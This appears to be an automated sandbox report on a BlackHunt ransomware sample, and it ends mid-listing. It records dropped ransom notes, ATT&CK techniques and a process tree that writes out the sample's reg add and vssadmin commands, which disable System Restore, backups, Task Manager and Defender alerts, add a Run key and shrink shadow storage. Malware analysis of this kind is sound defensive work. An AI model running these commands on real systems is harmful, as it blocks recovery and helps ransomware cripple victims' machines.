File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fontconfig.properties.src	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vincennes	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_zh_4.4.0.v20140623020002.jar	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jre7\bin\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-options_zh_CN.jar	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_zh_CN.jar	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Eirunepe	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\Flash.mpp	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface_3.10.1.v20140813-1009.jar	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Yakutat	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvDX9.x3d	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3284	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2328	vssadmin.exe
920	vssadmin.exe
1056	vssadmin.exe
1076	vssadmin.exe
4152	vssadmin.exe
1996	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4208	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2060	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4180	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Token: SeRestorePrivilege	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Token: SeBackupPrivilege	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Token: SeTakeOwnershipPrivilege	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Token: SeAuditPrivilege	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Token: SeSecurityPrivilege	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Token: SeIncBasePriorityPrivilege	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Token: SeBackupPrivilege	3512	vssvc.exe
Token: SeRestorePrivilege	3512	vssvc.exe
Token: SeAuditPrivilege	3512	vssvc.exe
Token: SeBackupPrivilege	3960	wbengine.exe
Token: SeRestorePrivilege	3960	wbengine.exe
Token: SeSecurityPrivilege	3960	wbengine.exe
Token: SeSecurityPrivilege	3400	wevtutil.exe
Token: SeBackupPrivilege	3400	wevtutil.exe
Token: SeSecurityPrivilege	3744	wevtutil.exe
Token: SeBackupPrivilege	3744	wevtutil.exe
Token: SeSecurityPrivilege	3128	wevtutil.exe
Token: SeSecurityPrivilege	4060	wevtutil.exe
Token: SeBackupPrivilege	3128	wevtutil.exe
Token: SeBackupPrivilege	4060	wevtutil.exe
Token: SeSecurityPrivilege	2492	wevtutil.exe
Token: SeBackupPrivilege	2492	wevtutil.exe
Token: SeDebugPrivilege	4208	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 868	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	151
PID 2188 wrote to memory of 868	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	151
PID 2188 wrote to memory of 868	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	151
PID 2188 wrote to memory of 868	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	151
PID 2188 wrote to memory of 2168	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	29
PID 2188 wrote to memory of 2168	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	29
PID 2188 wrote to memory of 2168	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	29
PID 2188 wrote to memory of 2168	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	29
PID 2188 wrote to memory of 2164	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	33
PID 2188 wrote to memory of 2164	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	33
PID 2188 wrote to memory of 2164	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	33
PID 2188 wrote to memory of 2164	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	33
PID 868 wrote to memory of 3032	868	cmd.exe	32
PID 868 wrote to memory of 3032	868	cmd.exe	32
PID 868 wrote to memory of 3032	868	cmd.exe	32
PID 2188 wrote to memory of 1172	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	36
PID 2188 wrote to memory of 1172	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	36
PID 2188 wrote to memory of 1172	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	36
PID 2188 wrote to memory of 1172	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	36
PID 2188 wrote to memory of 2668	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	37
PID 2188 wrote to memory of 2668	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	37
PID 2188 wrote to memory of 2668	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	37
PID 2188 wrote to memory of 2668	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	37
PID 2188 wrote to memory of 2700	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	149
PID 2188 wrote to memory of 2700	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	149
PID 2188 wrote to memory of 2700	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	149
PID 2188 wrote to memory of 2700	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	149
PID 2168 wrote to memory of 2620	2168	cmd.exe	147
PID 2168 wrote to memory of 2620	2168	cmd.exe	147
PID 2168 wrote to memory of 2620	2168	cmd.exe	147
PID 2188 wrote to memory of 2588	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	146
PID 2188 wrote to memory of 2588	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	146
PID 2188 wrote to memory of 2588	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	146
PID 2188 wrote to memory of 2588	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	146
PID 2188 wrote to memory of 2832	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	145
PID 2188 wrote to memory of 2832	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	145
PID 2188 wrote to memory of 2832	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	145
PID 2188 wrote to memory of 2832	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	145
PID 2164 wrote to memory of 3024	2164	cmd.exe	38
PID 2164 wrote to memory of 3024	2164	cmd.exe	38
PID 2164 wrote to memory of 3024	2164	cmd.exe	38
PID 2188 wrote to memory of 2580	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	143
PID 2188 wrote to memory of 2580	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	143
PID 2188 wrote to memory of 2580	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	143
PID 2188 wrote to memory of 2580	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	143
PID 2188 wrote to memory of 2764	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	142
PID 2188 wrote to memory of 2764	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	142
PID 2188 wrote to memory of 2764	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	142
PID 2188 wrote to memory of 2764	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	142
PID 2188 wrote to memory of 2800	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	140
PID 2188 wrote to memory of 2800	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	140
PID 2188 wrote to memory of 2800	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	140
PID 2188 wrote to memory of 2800	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	140
PID 2188 wrote to memory of 2628	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	136
PID 2188 wrote to memory of 2628	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	136
PID 2188 wrote to memory of 2628	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	136
PID 2188 wrote to memory of 2628	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	136
PID 2188 wrote to memory of 2692	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	41
PID 2188 wrote to memory of 2692	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	41
PID 2188 wrote to memory of 2692	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	41
PID 2188 wrote to memory of 2692	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	41
PID 2188 wrote to memory of 2484	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	39
PID 2188 wrote to memory of 2484	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	39
PID 2188 wrote to memory of 2484	2188	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe	39

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
"C:\Users\Admin\AppData\Local\Temp\738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1720
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2344
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2276
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2148
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
